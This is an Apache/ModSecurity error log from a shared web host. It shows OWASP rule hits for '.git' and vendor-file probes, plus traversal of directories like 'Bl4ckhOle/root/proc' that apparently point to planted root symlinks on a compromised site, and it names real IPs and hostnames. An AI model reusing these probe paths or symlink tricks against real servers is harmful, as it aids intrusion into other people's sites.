[Fri Jul 17 09:07:51.921843 2026] [security2:error] [pid 2029579:tid 2029579] [client 57.141.18.63:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory112/node0/memory0/subsystem/devices/memory105/subsystem/"] [unique_id "almjjyRF0UOO1RzB5_8v1gAAAA4"]
[Fri Jul 17 09:07:52.285367 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:52.457325 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:52.486698 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:52.617675 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:52.678238 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:52.748591 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:52.814653 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:52.941918 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:52.952400 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:53.000807 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:53.030351 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:53.133014 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:53.468707 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:53.664668 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:54.127678 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:54.608519 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:54.895939 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/autoload.php"] [unique_id "almjkvwooI4qY7Jg93pXbQAAABM"]
[Fri Jul 17 09:07:54.896302 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/autoload.php"] [unique_id "almjkvwooI4qY7Jg93pXbQAAABM"]
[Fri Jul 17 09:07:54.896606 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/autoload.php"] [unique_id "almjkvwooI4qY7Jg93pXbQAAABM"]
[Fri Jul 17 09:07:58.394315 2026] [security2:error] [pid 2013830:tid 2013830] [client 185.137.164.20:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "osbm.kamechotech.com"] [uri "/.git/HEAD"] [unique_id "almjlgRRrtuZqNDDSqWxxwAAABo"]
[Fri Jul 17 09:07:58.394525 2026] [security2:error] [pid 2013830:tid 2013830] [client 185.137.164.20:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "osbm.kamechotech.com"] [uri "/.git/HEAD"] [unique_id "almjlgRRrtuZqNDDSqWxxwAAABo"]
[Fri Jul 17 09:07:58.394838 2026] [security2:error] [pid 2013830:tid 2013830] [client 185.137.164.20:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "osbm.kamechotech.com"] [uri "/.git/HEAD"] [unique_id "almjlgRRrtuZqNDDSqWxxwAAABo"]
[Fri Jul 17 09:07:58.560482 2026] [security2:error] [pid 1993572:tid 1993572] [client 185.137.164.12:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.osbm.kamechotech.com"] [uri "/.git/HEAD"] [unique_id "almjlol9vhFBGA6D8l97wgAAAAw"]
[Fri Jul 17 09:07:58.560805 2026] [security2:error] [pid 1993572:tid 1993572] [client 185.137.164.12:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.osbm.kamechotech.com"] [uri "/.git/HEAD"] [unique_id "almjlol9vhFBGA6D8l97wgAAAAw"]
[Fri Jul 17 09:07:58.561290 2026] [security2:error] [pid 1993572:tid 1993572] [client 185.137.164.12:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.osbm.kamechotech.com"] [uri "/.git/HEAD"] [unique_id "almjlol9vhFBGA6D8l97wgAAAAw"]
[Fri Jul 17 09:08:01.283983 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:39988] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:01.873748 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:40006] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:04.460496 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:40084] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:05.279781 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/cardinity/cardinity-sdk-php/src/Method/Refund/Get.php"] [unique_id "almjnUgVnBK6wAv37w6uWwAAABQ"]
[Fri Jul 17 09:08:05.280167 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/cardinity/cardinity-sdk-php/src/Method/Refund/Get.php"] [unique_id "almjnUgVnBK6wAv37w6uWwAAABQ"]
[Fri Jul 17 09:08:05.280492 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/cardinity/cardinity-sdk-php/src/Method/Refund/Get.php"] [unique_id "almjnUgVnBK6wAv37w6uWwAAABQ"]
[Fri Jul 17 09:08:05.382266 2026] [security2:error] [pid 1993668:tid 1993668] [client 192.35.222.19:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/grpc.reflection.v1.ServerReflection/ServerReflectionInfo"] [unique_id "almjnRAi3pC6yjXGNq2CMQAAAAU"]
[Fri Jul 17 09:08:05.382328 2026] [security2:error] [pid 1993668:tid 1993668] [client 192.35.222.19:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|application/grpc|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/grpc.reflection.v1.ServerReflection/ServerReflectionInfo"] [unique_id "almjnRAi3pC6yjXGNq2CMQAAAAU"]
[Fri Jul 17 09:08:05.382788 2026] [security2:error] [pid 1993668:tid 1993668] [client 192.35.222.19:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/grpc.reflection.v1.ServerReflection/ServerReflectionInfo"] [unique_id "almjnRAi3pC6yjXGNq2CMQAAAAU"]
[Fri Jul 17 09:08:05.383085 2026] [security2:error] [pid 1993668:tid 1993668] [client 192.35.222.19:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 8, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/grpc.reflection.v1.ServerReflection/ServerReflectionInfo"] [unique_id "almjnRAi3pC6yjXGNq2CMQAAAAU"]
[Fri Jul 17 09:08:05.578494 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:40138] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:06.422638 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:40196] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:07.977252 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:40232] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:08.005250 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:40244] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:08.458837 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/guzzlehttp/ringphp/tests/Client/MiddlewareTest.php"] [unique_id "almjoCRF0UOO1RzB5_8v3wAAAA4"]
[Fri Jul 17 09:08:08.459243 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/guzzlehttp/ringphp/tests/Client/MiddlewareTest.php"] [unique_id "almjoCRF0UOO1RzB5_8v3wAAAA4"]
[Fri Jul 17 09:08:08.459564 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/guzzlehttp/ringphp/tests/Client/MiddlewareTest.php"] [unique_id "almjoCRF0UOO1RzB5_8v3wAAAA4"]
[Fri Jul 17 09:08:10.777539 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/validator/Tests/Constraints/IbanValidatorTest.php"] [unique_id "almjokgVnBK6wAv37w6uXgAAABQ"]
[Fri Jul 17 09:08:10.778045 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/validator/Tests/Constraints/IbanValidatorTest.php"] [unique_id "almjokgVnBK6wAv37w6uXgAAABQ"]
[Fri Jul 17 09:08:10.778480 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/validator/Tests/Constraints/IbanValidatorTest.php"] [unique_id "almjokgVnBK6wAv37w6uXgAAABQ"]
[Fri Jul 17 09:08:11.962740 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 57.141.18.37:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory82/node0/memory138/node0/memory126/node0/compact
[Fri Jul 17 09:08:12.770413 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/cardinity/cardinity-sdk-php/spec/Method/Payment/PaymentInstrumentRecurringSpec.php"] [unique_id "almjpLoj0IkvhSCYadmDeQAAAAQ"]
[Fri Jul 17 09:08:12.770964 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/cardinity/cardinity-sdk-php/spec/Method/Payment/PaymentInstrumentRecurringSpec.php"] [unique_id "almjpLoj0IkvhSCYadmDeQAAAAQ"]
[Fri Jul 17 09:08:12.771488 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/cardinity/cardinity-sdk-php/spec/Method/Payment/PaymentInstrumentRecurringSpec.php"] [unique_id "almjpLoj0IkvhSCYadmDeQAAAAQ"]
[Fri Jul 17 09:08:14.832615 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:57882] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:16.259303 2026] [security2:error] [pid 2018741:tid 2018741] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almjqLoj0IkvhSCYadmDewAAAAQ"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:08:16.259336 2026] [security2:error] [pid 2018741:tid 2018741] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almjqLoj0IkvhSCYadmDewAAAAQ"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:08:16.311225 2026] [security2:error] [pid 2018757:tid 2018757] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/cardinity/cardinity-sdk-php/spec/Exception/RequestSpec.php"] [unique_id "almjqEkXT4NBqALj2lZ-ugAAABA"]
[Fri Jul 17 09:08:16.311605 2026] [security2:error] [pid 2018757:tid 2018757] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/cardinity/cardinity-sdk-php/spec/Exception/RequestSpec.php"] [unique_id "almjqEkXT4NBqALj2lZ-ugAAABA"]
[Fri Jul 17 09:08:16.311963 2026] [security2:error] [pid 2018757:tid 2018757] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/cardinity/cardinity-sdk-php/spec/Exception/RequestSpec.php"] [unique_id "almjqEkXT4NBqALj2lZ-ugAAABA"]
[Fri Jul 17 09:08:17.369148 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 47.128.48.106:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/ksm_mm_slot/poison
[Fri Jul 17 09:08:17.976088 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:57986] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:19.470437 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:58050] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:21.178082 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 57.141.18.31:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory124/node0/memory87/node0/memory37/subsystem/uevent
[Fri Jul 17 09:08:22.197768 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:49462] AH02013: coalesce failed to read from data bucket
